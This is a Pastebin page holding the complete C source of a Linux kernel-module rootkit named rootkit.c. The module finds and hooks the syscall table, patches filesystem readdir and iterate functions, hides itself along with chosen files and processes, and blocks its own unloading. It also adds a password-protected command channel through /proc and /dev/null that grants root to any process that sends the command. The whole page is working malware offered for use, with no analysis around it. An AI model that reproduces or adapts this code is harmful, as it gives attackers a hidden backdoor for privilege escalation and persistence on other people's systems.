Advertisement
FlyFar

rootkit.c

Dec 24th, 2023
670
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 26.06 KB | Cybersecurity | 0 0
  1. /*
  2.  * Copyright (C) 2016-2019 Maxim Biro <nurupo.contributions@gmail.com>
  3.  *
  4.  * This program is free software; you can redistribute it and/or modify
  5.  * it under the terms of the GNU General Public License as published by
  6.  * the Free Software Foundation; either version 2 of the License, or
  7.  * (at your option) any later version.
  8.  *
  9.  * This program is distributed in the hope that it will be useful,
  10.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.  * GNU General Public License for more details.
  13.  *
  14.  * You should have received a copy of the GNU General Public License along
  15.  * with this program; if not, write to the Free Software Foundation, Inc.,
  16.  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  17.  */
  18.  
  19. #include <asm/unistd.h>
  20. #include <linux/cred.h>
  21. #include <linux/fs.h>
  22. #include <linux/init.h>
  23. #include <linux/kallsyms.h>
  24. #include <linux/kernel.h>
  25. #include <linux/kobject.h>
  26. #include <linux/list.h>
  27. #include <linux/module.h>
  28. #include <linux/proc_fs.h>
  29. #include <linux/rbtree.h>
  30. #include <linux/slab.h>
  31. #include <linux/string.h>
  32. #include <linux/syscalls.h>
  33. #include <linux/sysfs.h>
  34. #include <linux/uaccess.h>
  35. #include <linux/unistd.h>
  36. #include <linux/version.h>
  37. #include <linux/limits.h>
  38. #include <linux/delay.h>
  39. #include <linux/version.h>
  40.  
  41. #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \
  42.     LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0)
  43.  
  44. // Copy-pasted from Linux sources as it's not provided in public headers
  45. // of newer Linux.
  46. // Might differ from one version of Linux kernel to another, so update as
  47. // necessary.
  48. // http://lxr.free-electrons.com/source/fs/proc/internal.h?v=4.4#L31
  49. struct proc_dir_entry {
  50.     unsigned int low_ino;
  51.     umode_t mode;
  52.     nlink_t nlink;
  53.     kuid_t uid;
  54.     kgid_t gid;
  55.     loff_t size;
  56.     const struct inode_operations *proc_iops;
  57.     const struct file_operations *proc_fops;
  58.     struct proc_dir_entry *parent;
  59.     struct rb_root subdir;
  60.     struct rb_node subdir_node;
  61.     void *data;
  62.     atomic_t count;         /* use count */
  63.     atomic_t in_use;        /* number of callers into module in progress; */
  64.                             /* negative -> it's going away RSN */
  65.     struct completion *pde_unload_completion;
  66.     struct list_head pde_openers;   /* who did ->open, but not ->release */
  67.     spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
  68.     u8 namelen;
  69.     char name[];
  70. };
  71.  
  72. #endif
  73.  
  74. #include "config.h"
  75.  
  76. #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
  77.  
  78. MODULE_LICENSE("GPL");
  79. MODULE_AUTHOR("Maxim Biro <nurupo.contributions@gmail.com>");
  80.  
  81.  
  82. #define ARCH_ERROR_MESSAGE "Only i386 and x86_64 architectures are supported! " \
  83.     "It should be easy to port to new architectures though"
  84.  
  85. #define DISABLE_W_PROTECTED_MEMORY \
  86.     do { \
  87.         preempt_disable(); \
  88.         write_cr0(read_cr0() & (~ 0x10000)); \
  89.     } while (0);
  90. #define ENABLE_W_PROTECTED_MEMORY \
  91.     do { \
  92.         preempt_enable(); \
  93.         write_cr0(read_cr0() | 0x10000); \
  94.     } while (0);
  95.  
  96.  
  97. // ========== SYS_CALL_TABLE ==========
  98.  
  99.  
  100. #if defined __i386__
  101.     #define START_ADDRESS 0xc0000000
  102.     #define END_ADDRESS 0xd0000000
  103. #elif defined __x86_64__
  104.     #define START_ADDRESS 0xffffffff81000000
  105.     #define END_ADDRESS 0xffffffffa2000000
  106. #else
  107.     #error ARCH_ERROR_MESSAGE
  108. #endif
  109.  
  110. void **sys_call_table;
  111.  
  112. /**
  113.  * Finds a system call table based on a heruistic.
  114.  * Note that the heruistic is not ideal, so it might find a memory region that
  115.  * looks like a system call table but is not actually a system call table, but
  116.  * it seems to work all the time on my systems.
  117.  *
  118.  * @return system call table on success, NULL on failure.
  119.  */
  120. void **find_syscall_table(void)
  121. {
  122.     void **sctable;
  123.     void *i = (void*) START_ADDRESS;
  124.  
  125.     while (i < END_ADDRESS) {
  126.         sctable = (void **) i;
  127.  
  128.         // sadly only sys_close seems to be exported -- we can't check against more system calls
  129.         if (sctable[__NR_close] == (void *) sys_close) {
  130.             size_t j;
  131.             // we expect there to be at least 300 system calls
  132.             const unsigned int SYS_CALL_NUM = 300;
  133.             // sanity check: no function pointer in the system call table should be NULL
  134.             for (j = 0; j < SYS_CALL_NUM; j ++) {
  135.                 if (sctable[j] == NULL) {
  136.                     // this is not a system call table
  137.                     goto skip;
  138.                 }
  139.             }
  140.             return sctable;
  141.         }
  142. skip:
  143.         ;
  144.         i += sizeof(void *);
  145.     }
  146.  
  147.     return NULL;
  148. }
  149.  
  150.  
  151. // ========== END SYS_CALL_TABLE ==========
  152.  
  153.  
  154. // ========== HOOK LIST ==========
  155.  
  156.  
  157. struct hook {
  158.     void *original_function;
  159.     void *modified_function;
  160.     void **modified_at_address;
  161.     struct list_head list;
  162. };
  163.  
  164. LIST_HEAD(hook_list);
  165.  
  166. /**
  167.  * Replaces a function pointer at some address with a new function pointer,
  168.  * keeping record of the original function pointer so that it could be
  169.  * restored later.
  170.  *
  171.  * @param modified_at_address Pointer to the address of where the function
  172.  * pointer that we want to replace is stored. The same address would be used
  173.  * when restoring the original funcion pointer back, so make sure it doesn't
  174.  * become invalid by the time you try to restore it back.
  175.  *
  176.  * @param modified_function Function pointer that we want to replace the
  177.  * original function pointer with.
  178.  *
  179.  * @return true on success, false on failure.
  180.  */
  181. int hook_create(void **modified_at_address, void *modified_function)
  182. {
  183.     struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL);
  184.  
  185.     if (!h) {
  186.         return 0;
  187.     }
  188.  
  189.     h->modified_at_address = modified_at_address;
  190.     h->modified_function = modified_function;
  191.     list_add(&h->list, &hook_list);
  192.  
  193.     DISABLE_W_PROTECTED_MEMORY
  194.     h->original_function = xchg(modified_at_address, modified_function);
  195.     ENABLE_W_PROTECTED_MEMORY
  196.  
  197.     return 1;
  198. }
  199.  
  200. /**
  201.  * Get original function pointer based on the one we overwrote it with.
  202.  * Useful when wanting to call the original function inside a hook.
  203.  *
  204.  * @param modified_function The function that overwrote the original one.
  205.  * @return original function pointer on success, NULL on failure.
  206.  */
  207. void *hook_get_original(void *modified_function)
  208. {
  209.     void *original_function = NULL;
  210.     struct hook *h;
  211.  
  212.     list_for_each_entry(h, &hook_list, list) {
  213.         if (h->modified_function == modified_function) {
  214.             original_function = h->original_function;
  215.             break;
  216.         }
  217.     }
  218.     return original_function;
  219. }
  220.  
  221. /**
  222.  * Removes all hook records, restores the overwritten function pointers to
  223.  * their original value.
  224.  */
  225. void hook_remove_all(void)
  226. {
  227.     struct hook *h, *tmp;
  228.  
  229.     // make it so that instead of `modified_function` the `original_function`
  230.     // would get called again
  231.     list_for_each_entry(h, &hook_list, list) {
  232.         DISABLE_W_PROTECTED_MEMORY
  233.         *h->modified_at_address = h->original_function;
  234.         ENABLE_W_PROTECTED_MEMORY
  235.     }
  236.     // a hack to let the changes made by the loop above propagate, as some
  237.     // process might be in the middle of executing our `modified_function`
  238.     // which calls the original function inside by getting it from the
  239.     // `hook_get_original()` call, which would return NULL if we `list_del()`
  240.     // everything, and, well, bad things happen if you try to use NULL as a
  241.     // function pointer and call into it.
  242.     // to get around this issue we:
  243.     // 1. make it so that instead of `modified_function` the
  244.     //    `original_function` would get called. this is done above.
  245.     // 2. sleep hopefully long enough to let all the proesses that are in the
  246.     //    middle of running `modified_function` to finish running that function
  247.     // 3. finally, remove all the elements from the list
  248.     msleep(10);
  249.     list_for_each_entry_safe(h, tmp, &hook_list, list) {
  250.         list_del(&h->list);
  251.         kfree(h);
  252.     }
  253. }
  254.  
  255.  
  256. // ========== END HOOK LIST ==========
  257.  
  258.  
  259. // ========== HOOK EXAMPLES ==========
  260.  
  261. unsigned long read_count = 0;
  262.  
  263. asmlinkage long read(unsigned int fd, char __user *buf, size_t count)
  264. {
  265.     read_count ++;
  266.  
  267.     asmlinkage long (*original_read)(unsigned int, char __user *, size_t);
  268.     original_read = hook_get_original(read);
  269.     return original_read(fd, buf, count);
  270. }
  271.  
  272.  
  273. unsigned long write_count = 0;
  274.  
  275. asmlinkage long write(unsigned int fd, const char __user *buf, size_t count)
  276. {
  277.     write_count ++;
  278.  
  279.     asmlinkage long (*original_write)(unsigned int, const char __user *, size_t);
  280.     original_write = hook_get_original(write);
  281.     return original_write(fd, buf, count);
  282. }
  283.  
  284.  
  285. // ========== END HOOK EXAMPLES ==========
  286.  
  287.  
  288. // ========== ASM HOOK LIST ==========
  289.  
  290. #if defined __i386__
  291.     // push 0x00000000, ret
  292.     #define ASM_HOOK_CODE "\x68\x00\x00\x00\x00\xc3"
  293.     // byte offset to where to the 0x00000000, to overwrite it with a function pointer
  294.     #define ASM_HOOK_CODE_OFFSET 1
  295.     // alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer
  296.     //#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0"
  297. #elif defined __x86_64__
  298.     // there is no push that pushes a 64-bit immidiate in x86_64,
  299.     // so we do things a bit differently:
  300.     // mov rax 0x0000000000000000, jmp rax
  301.     #define ASM_HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"
  302.     // byte offset to where to the 0x0000000000000000, to overwrite it with a function pointer
  303.     #define ASM_HOOK_CODE_OFFSET 2
  304. #else
  305.     #error ARCH_ERROR_MESSAGE
  306. #endif
  307.  
  308. struct asm_hook {
  309.     void *original_function;
  310.     void *modified_function;
  311.     char original_asm[sizeof(ASM_HOOK_CODE)-1];
  312.     struct list_head list;
  313. };
  314.  
  315. LIST_HEAD(asm_hook_list);
  316.  
  317. /**
  318.  * Patches machine code of the original function to call another function.
  319.  * This function should not be called directly.
  320.  */
  321. void _asm_hook_patch(struct asm_hook *h)
  322. {
  323.     DISABLE_W_PROTECTED_MEMORY
  324.     memcpy(h->original_function, ASM_HOOK_CODE, sizeof(ASM_HOOK_CODE)-1);
  325.     *(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function;
  326.     ENABLE_W_PROTECTED_MEMORY
  327. }
  328.  
  329. /**
  330.  * Patches machine code of a function so that it would call our function.
  331.  * Keeps record of the original function and its machine code so that it could
  332.  * be unpatched and patched again later.
  333.  *
  334.  * @param original_function Function to patch
  335.  *
  336.  * @param modified_function Function that should be called
  337.  *
  338.  * @return true on success, false on failure.
  339.  */
  340. int asm_hook_create(void *original_function, void *modified_function)
  341. {
  342.     struct asm_hook *h = kmalloc(sizeof(struct asm_hook), GFP_KERNEL);
  343.  
  344.     if (!h) {
  345.         return 0;
  346.     }
  347.  
  348.     h->original_function = original_function;
  349.     h->modified_function = modified_function;
  350.     memcpy(h->original_asm, original_function, sizeof(ASM_HOOK_CODE)-1);
  351.     list_add(&h->list, &asm_hook_list);
  352.  
  353.     _asm_hook_patch(h);
  354.  
  355.     return 1;
  356. }
  357.  
  358. /**
  359.  * Patches the original function to call the modified function again.
  360.  *
  361.  * @param modified_function Function that the original function was patched to
  362.  * call in asm_hook_create().
  363.  */
  364. void asm_hook_patch(void *modified_function)
  365. {
  366.     struct asm_hook *h;
  367.  
  368.     list_for_each_entry(h, &asm_hook_list, list) {
  369.         if (h->modified_function == modified_function) {
  370.             _asm_hook_patch(h);
  371.             break;
  372.         }
  373.     }
  374. }
  375.  
  376. /**
  377.  * Unpatches machine code of the original function, so that it wouldn't call
  378.  * our function anymore.
  379.  * This function should not be called directly.
  380.  */
  381. void _asm_hook_unpatch(struct asm_hook *h)
  382. {
  383.     DISABLE_W_PROTECTED_MEMORY
  384.     memcpy(h->original_function, h->original_asm, sizeof(ASM_HOOK_CODE)-1);
  385.     ENABLE_W_PROTECTED_MEMORY
  386. }
  387.  
  388. /**
  389.  * Unpatches machine code of the original function, so that it wouldn't call
  390.  * our function anymore.
  391.  *
  392.  * @param modified_function Function that the original function was patched to
  393.  * call in asm_hook_create().
  394.  */
  395. void *asm_hook_unpatch(void *modified_function)
  396. {
  397.     void *original_function = NULL;
  398.     struct asm_hook *h;
  399.  
  400.     list_for_each_entry(h, &asm_hook_list, list) {
  401.         if (h->modified_function == modified_function) {
  402.             _asm_hook_unpatch(h);
  403.             original_function = h->original_function;
  404.             break;
  405.         }
  406.     }
  407.  
  408.     return original_function;
  409. }
  410.  
  411. /**
  412.  * Removes all hook records, unpatches all functions.
  413.  */
  414. void asm_hook_remove_all(void)
  415. {
  416.     struct asm_hook *h, *tmp;
  417.  
  418.     list_for_each_entry_safe(h, tmp, &asm_hook_list, list) {
  419.         _asm_hook_unpatch(h);
  420.         list_del(&h->list);
  421.         kfree(h);
  422.     }
  423. }
  424.  
  425.  
  426. // ========== END ASM HOOK LIST ==========
  427.  
  428.  
  429. // ========== ASM HOOK EXAMPLES ==========
  430.  
  431. unsigned long asm_rmdir_count = 0;
  432.  
  433. asmlinkage long asm_rmdir(const char __user *pathname)
  434. {
  435.     asm_rmdir_count ++;
  436.  
  437.     asmlinkage long (*original_rmdir)(const char __user *);
  438.     original_rmdir = asm_hook_unpatch(asm_rmdir);
  439.     long ret = original_rmdir(pathname);
  440.     asm_hook_patch(asm_rmdir);
  441.  
  442.     return ret;
  443. }
  444.  
  445.  
  446. // ========== END ASM HOOK EXAMPLES ==========
  447.  
  448.  
  449. // ========== PID LIST ==========
  450.  
  451.  
  452. struct pid_entry {
  453.     unsigned long pid;
  454.     struct list_head list;
  455. };
  456.  
  457. LIST_HEAD(pid_list);
  458.  
  459. int pid_add(const char *pid)
  460. {
  461.     struct pid_entry *p = kmalloc(sizeof(struct pid_entry), GFP_KERNEL);
  462.  
  463.     if (!p) {
  464.         return 0;
  465.     }
  466.  
  467.     p->pid = simple_strtoul(pid, NULL, 10);
  468.  
  469.     list_add(&p->list, &pid_list);
  470.  
  471.     return 1;
  472. }
  473.  
  474. void pid_remove(const char *pid)
  475. {
  476.     struct pid_entry *p, *tmp;
  477.  
  478.     unsigned long pid_num = simple_strtoul(pid, NULL, 10);
  479.  
  480.     list_for_each_entry_safe(p, tmp, &pid_list, list) {
  481.         if (p->pid == pid_num) {
  482.             list_del(&p->list);
  483.             kfree(p);
  484.             break;
  485.         }
  486.     }
  487. }
  488.  
  489. void pid_remove_all(void)
  490. {
  491.     struct pid_entry *p, *tmp;
  492.  
  493.     list_for_each_entry_safe(p, tmp, &pid_list, list) {
  494.         list_del(&p->list);
  495.         kfree(p);
  496.     }
  497. }
  498.  
  499.  
  500. // ========== END PID LIST ==========
  501.  
  502.  
  503. // ========== FILE LIST ==========
  504.  
  505.  
  506. struct file_entry {
  507.     char *name;
  508.     struct list_head list;
  509. };
  510.  
  511. LIST_HEAD(file_list);
  512.  
  513. int file_add(const char *name)
  514. {
  515.     struct file_entry *f = kmalloc(sizeof(struct file_entry), GFP_KERNEL);
  516.  
  517.     if (!f) {
  518.         return 0;
  519.     }
  520.  
  521.     size_t name_len = strlen(name) + 1;
  522.  
  523.     // sanity check as `name` could point to some garbage without null anywhere nearby
  524.     if (name_len -1 > NAME_MAX) {
  525.         kfree(f);
  526.         return 0;
  527.     }
  528.  
  529.     f->name = kmalloc(name_len, GFP_KERNEL);
  530.     if (!f->name) {
  531.         kfree(f);
  532.         return 0;
  533.     }
  534.  
  535.     strncpy(f->name, name, name_len);
  536.  
  537.     list_add(&f->list, &file_list);
  538.  
  539.     return 1;
  540. }
  541.  
  542. void file_remove(const char *name)
  543. {
  544.     struct file_entry *f, *tmp;
  545.  
  546.     list_for_each_entry_safe(f, tmp, &file_list, list) {
  547.         if (strcmp(f->name, name) == 0) {
  548.             list_del(&f->list);
  549.             kfree(f->name);
  550.             kfree(f);
  551.             break;
  552.         }
  553.     }
  554. }
  555.  
  556. void file_remove_all(void)
  557. {
  558.     struct file_entry *f, *tmp;
  559.  
  560.     list_for_each_entry_safe(f, tmp, &file_list, list) {
  561.         list_del(&f->list);
  562.         kfree(f->name);
  563.         kfree(f);
  564.     }
  565. }
  566.  
  567.  
  568. // ========== END FILE LIST ==========
  569.  
  570.  
  571. // ========== HIDE ==========
  572.  
  573.  
  574. struct list_head *module_list;
  575. int is_hidden = 0;
  576.  
  577. void hide(void)
  578. {
  579.     if (is_hidden) {
  580.         return;
  581.     }
  582.  
  583.     module_list = THIS_MODULE->list.prev;
  584.  
  585.     list_del(&THIS_MODULE->list);
  586.  
  587.     is_hidden = 1;
  588. }
  589.  
  590.  
  591. void unhide(void)
  592. {
  593.     if (!is_hidden) {
  594.         return;
  595.     }
  596.  
  597.     list_add(&THIS_MODULE->list, module_list);
  598.  
  599.     is_hidden = 0;
  600. }
  601.  
  602.  
  603. // ========== END HIDE ==========
  604.  
  605.  
  606. // ========== PROTECT ==========
  607.  
  608.  
  609. int is_protected = 0;
  610.  
  611. void protect(void)
  612. {
  613.     if (is_protected) {
  614.         return;
  615.     }
  616.  
  617.     try_module_get(THIS_MODULE);
  618.  
  619.     is_protected = 1;
  620. }
  621.  
  622. void unprotect(void)
  623. {
  624.     if (!is_protected) {
  625.         return;
  626.     }
  627.  
  628.     module_put(THIS_MODULE);
  629.  
  630.     is_protected = 0;
  631. }
  632.  
  633.  
  634. // ========== END PROTECT ==========
  635.  
  636.  
  637. // ========== READDIR ==========
  638.  
  639.  
  640. struct file_operations *get_fop(const char *path)
  641. {
  642.     struct file *file;
  643.  
  644.     if ((file = filp_open(path, O_RDONLY, 0)) == NULL) {
  645.         return NULL;
  646.     }
  647.  
  648.     struct file_operations *ret = (struct file_operations *) file->f_op;
  649.     filp_close(file, 0);
  650.  
  651.     return ret;
  652. }
  653.  
  654. // Macros to help reduce repeated code where only names differ.
  655. // Decreses risk of "copy-paste & forgot to rename" error.
  656. #define FILLDIR_START(NAME) \
  657.     filldir_t original_##NAME##_filldir; \
  658.     \
  659.     static int NAME##_filldir(void * context, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) \
  660.     {
  661.  
  662. #define FILLDIR_END(NAME) \
  663.         return original_##NAME##_filldir(context, name, namelen, offset, ino, d_type); \
  664.     }
  665.  
  666.  
  667. #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \
  668.     LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0)
  669.  
  670.     #define READDIR(NAME) \
  671.         int NAME##_iterate(struct file *file, struct dir_context *context) \
  672.         { \
  673.             original_##NAME##_filldir = context->actor; \
  674.             *((filldir_t*)&context->actor) = NAME##_filldir; \
  675.             \
  676.             int (*original_iterate)(struct file *, struct dir_context *); \
  677.             original_iterate = asm_hook_unpatch(NAME##_iterate); \
  678.             int ret = original_iterate(file, context); \
  679.             asm_hook_patch(NAME##_iterate); \
  680.             \
  681.             return ret; \
  682.         }
  683.  
  684. #elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32)
  685.  
  686.     #define READDIR(NAME) \
  687.         int NAME##_readdir(struct file *file, void *dirent, filldir_t filldir) \
  688.         { \
  689.             original_##NAME##_filldir = filldir; \
  690.             \
  691.             int (*original_readdir)(struct file *, void *, filldir_t); \
  692.             original_readdir = asm_hook_unpatch(NAME##_readdir); \
  693.             int ret = original_readdir(file, dirent, NAME##_filldir); \
  694.             asm_hook_patch(NAME##_readdir); \
  695.             \
  696.             return ret; \
  697.         }
  698. #else
  699.  
  700. //#error "Wrong Linux kernel version"
  701.  
  702. #endif
  703.  
  704. // Macros to actually use
  705. #define READDIR_HOOK_START(NAME) FILLDIR_START(NAME)
  706. #define READDIR_HOOK_END(NAME) FILLDIR_END(NAME) READDIR(NAME)
  707.  
  708. READDIR_HOOK_START(root)
  709.     struct file_entry *f;
  710.  
  711.     list_for_each_entry(f, &file_list, list) {
  712.         if (strcmp(name, f->name) == 0) {
  713.             return 0;
  714.         }
  715.     }
  716. READDIR_HOOK_END(root)
  717.  
  718. READDIR_HOOK_START(proc)
  719.     struct pid_entry *p;
  720.  
  721.     list_for_each_entry(p, &pid_list, list) {
  722.         if (simple_strtoul(name, NULL, 10) == p->pid) {
  723.             return 0;
  724.         }
  725.     }
  726. READDIR_HOOK_END(proc)
  727.  
  728. READDIR_HOOK_START(sys)
  729.     if (is_hidden && strcmp(name, KBUILD_MODNAME) == 0) {
  730.         return 0;
  731.     }
  732. READDIR_HOOK_END(sys)
  733.  
  734.  
  735. #undef FILLDIR_START
  736. #undef FILLDIR_END
  737. #undef READDIR
  738.  
  739. #undef READDIR_HOOK_START
  740. #undef READDIR_HOOK_END
  741.  
  742.  
  743. // ========== END READDIR ==========
  744.  
  745.  
  746. int execute_command(const char __user *str, size_t length)
  747. {
  748.     if (length <= sizeof(CFG_PASS) ||
  749.         strncmp(str, CFG_PASS, sizeof(CFG_PASS)) != 0) {
  750.         return 0;
  751.     }
  752.  
  753.     pr_info("Password check passed\n");
  754.  
  755.     // since the password matched, we assume the command following the password
  756.     // is in the valid format
  757.  
  758.     str += sizeof(CFG_PASS);
  759.  
  760.     if (strcmp(str, CFG_ROOT) == 0) {
  761.         pr_info("Got root command\n");
  762.         struct cred *creds = prepare_creds();
  763.  
  764. #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \
  765.     LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0)
  766.  
  767.         creds->uid.val = creds->euid.val = 0;
  768.         creds->gid.val = creds->egid.val = 0;
  769.  
  770. #elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32)
  771.  
  772.         creds->uid = creds->euid = 0;
  773.         creds->gid = creds->egid = 0;
  774.  
  775. #endif
  776.  
  777.         commit_creds(creds);
  778.     } else if (strcmp(str, CFG_HIDE_PID) == 0) {
  779.         pr_info("Got hide pid command\n");
  780.         str += sizeof(CFG_HIDE_PID);
  781.         pid_add(str);
  782.     } else if (strcmp(str, CFG_UNHIDE_PID) == 0) {
  783.         pr_info("Got unhide pid command\n");
  784.         str += sizeof(CFG_UNHIDE_PID);
  785.         pid_remove(str);
  786.     } else if (strcmp(str, CFG_HIDE_FILE) == 0) {
  787.         pr_info("Got hide file command\n");
  788.         str += sizeof(CFG_HIDE_FILE);
  789.         file_add(str);
  790.     } else if (strcmp(str, CFG_UNHIDE_FILE) == 0) {
  791.         pr_info("Got unhide file command\n");
  792.         str += sizeof(CFG_UNHIDE_FILE);
  793.         file_remove(str);
  794.     }  else if (strcmp(str, CFG_HIDE) == 0) {
  795.         pr_info("Got hide command\n");
  796.         hide();
  797.     } else if (strcmp(str, CFG_UNHIDE) == 0) {
  798.         pr_info("Got unhide command\n");
  799.         unhide();
  800.     } else if (strcmp(str, CFG_PROTECT) == 0) {
  801.         pr_info("Got protect command\n");
  802.         protect();
  803.     } else if (strcmp(str, CFG_UNPROTECT) == 0) {
  804.         pr_info("Got unprotect command\n");
  805.         unprotect();
  806.     } else {
  807.         pr_info("Got unknown command\n");
  808.     }
  809.  
  810.     return 1;
  811. }
  812.  
  813.  
  814. // ========== COMM CHANNEL ==========
  815.  
  816.  
  817. static ssize_t proc_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p)
  818. {
  819.     if (execute_command(buf_user, count)) {
  820.         return count;
  821.     }
  822.  
  823.     int (*original_write)(struct file *, const char __user *, size_t, loff_t *);
  824.     original_write = asm_hook_unpatch(proc_fops_write);
  825.     ssize_t ret = original_write(file, buf_user, count, p);
  826.     asm_hook_patch(proc_fops_write);
  827.  
  828.     return ret;
  829. }
  830.  
  831. static ssize_t proc_fops_read(struct file *file, char __user *buf_user, size_t count, loff_t *p)
  832. {
  833.     execute_command(buf_user, count);
  834.  
  835.     int (*original_read)(struct file *, char __user *, size_t, loff_t *);
  836.     original_read = asm_hook_unpatch(proc_fops_read);
  837.     ssize_t ret = original_read(file, buf_user, count, p);
  838.     asm_hook_patch(proc_fops_read);
  839.  
  840.     return ret;
  841. }
  842.  
  843.  
  844. int setup_proc_comm_channel(void)
  845. {
  846.     static const struct file_operations proc_file_fops = {0};
  847.     struct proc_dir_entry *proc_entry = proc_create("temporary", 0444, NULL, &proc_file_fops);
  848.     proc_entry = proc_entry->parent;
  849.  
  850.     if (strcmp(proc_entry->name, "/proc") != 0) {
  851.         pr_info("Couldn't find \"/proc\" entry\n");
  852.         remove_proc_entry("temporary", NULL);
  853.         return 0;
  854.     }
  855.  
  856.     remove_proc_entry("temporary", NULL);
  857.  
  858.     struct file_operations *proc_fops = NULL;
  859.  
  860. #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \
  861.     LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0)
  862.  
  863.     struct rb_node *entry = rb_first(&proc_entry->subdir);
  864.  
  865.     while (entry) {
  866.         pr_info("Looking at \"/proc/%s\"\n", rb_entry(entry, struct proc_dir_entry, subdir_node)->name);
  867.  
  868.         if (strcmp(rb_entry(entry, struct proc_dir_entry, subdir_node)->name, CFG_PROC_FILE) == 0) {
  869.             pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE);
  870.             proc_fops = (struct file_operations *) rb_entry(entry, struct proc_dir_entry, subdir_node)->proc_fops;
  871.             goto found;
  872.         }
  873.  
  874.         entry = rb_next(entry);
  875.     }
  876.  
  877. #elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32)
  878.  
  879.     proc_entry = proc_entry->subdir;
  880.  
  881.     while (proc_entry) {
  882.         pr_info("Looking at \"/proc/%s\"\n", proc_entry->name);
  883.  
  884.         if (strcmp(proc_entry->name, CFG_PROC_FILE) == 0) {
  885.             pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE);
  886.             proc_fops = (struct file_operations *) proc_entry->proc_fops;
  887.             goto found;
  888.         }
  889.  
  890.         proc_entry = proc_entry->next;
  891.     }
  892.  
  893. #endif
  894.  
  895.     pr_info("Couldn't find \"/proc/%s\"\n", CFG_PROC_FILE);
  896.  
  897.     return 0;
  898.  
  899. found:
  900.     ;
  901.  
  902.     if (proc_fops->write) {
  903.         asm_hook_create(proc_fops->write, proc_fops_write);
  904.     }
  905.  
  906.     if (proc_fops->read) {
  907.         asm_hook_create(proc_fops->read, proc_fops_read);
  908.     }
  909.  
  910.     if (!proc_fops->read && !proc_fops->write) {
  911.         pr_info("\"/proc/%s\" has no write nor read function set\n", CFG_PROC_FILE);
  912.         return 0;
  913.     }
  914.  
  915.     return 1;
  916. }
  917.  
  918.  
  919. static ssize_t devnull_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p)
  920. {
  921.     if (execute_command(buf_user, count)) {
  922.         return count;
  923.     }
  924.  
  925.     int (*original_write)(struct file *, const char __user *, size_t, loff_t *);
  926.     original_write = hook_get_original(devnull_fops_write);
  927.     return original_write(file, buf_user, count, p);
  928. }
  929.  
  930. int setup_devnull_comm_channel(void)
  931. {
  932.     hook_create(&get_fop("/dev/null")->write, devnull_fops_write);
  933.  
  934.     return 1;
  935. }
  936.  
  937.  
  938. // ========== END COMM CHANNEL ==========
  939.  
  940.  
  941. int init(void)
  942. {
  943.     pr_info("Module loaded\n");
  944.     hide();
  945.     protect();
  946.  
  947.     if (!setup_proc_comm_channel()) {
  948.         pr_info("Failed to set up comm channel\n");
  949.         unprotect();
  950.         unhide();
  951.         return -1;
  952.     }
  953.  
  954.     pr_info("Comm channel is set up\n");
  955.  
  956. #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \
  957.     LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0)
  958.  
  959.     asm_hook_create(get_fop("/")->iterate, root_iterate);
  960.     asm_hook_create(get_fop("/proc")->iterate, proc_iterate);
  961.     asm_hook_create(get_fop("/sys")->iterate, sys_iterate);
  962.  
  963. #elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32)
  964.  
  965.     asm_hook_create(get_fop("/")->readdir, root_readdir);
  966.     asm_hook_create(get_fop("/proc")->readdir, proc_readdir);
  967.     asm_hook_create(get_fop("/sys")->readdir, sys_readdir);
  968.  
  969. #endif
  970.  
  971.     sys_call_table = find_syscall_table();
  972.     pr_info("Found sys_call_table at %p\n", sys_call_table);
  973.  
  974.     // Setup the example hooks
  975.     asm_hook_create(sys_call_table[__NR_rmdir], asm_rmdir);
  976.     hook_create(&sys_call_table[__NR_read], read);
  977.     hook_create(&sys_call_table[__NR_write], write);
  978.  
  979.     return 0;
  980. }
  981.  
  982. void exit(void)
  983. {
  984.     // Print the results of the example hooks
  985.     pr_info("sys_rmdir was called %lu times\n", asm_rmdir_count);
  986.     pr_info("sys_read was called %lu times\n", read_count);
  987.     pr_info("sys_write was called %lu times\n", write_count);
  988.  
  989.     // Cleanup
  990.     hook_remove_all();
  991.     asm_hook_remove_all();
  992.     pid_remove_all();
  993.     file_remove_all();
  994.  
  995.     THIS_MODULE->name[0] = 0;
  996.  
  997.     pr_info("Module removed\n");
  998. }
  999.  
  1000. module_init(init);
  1001. module_exit(exit);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement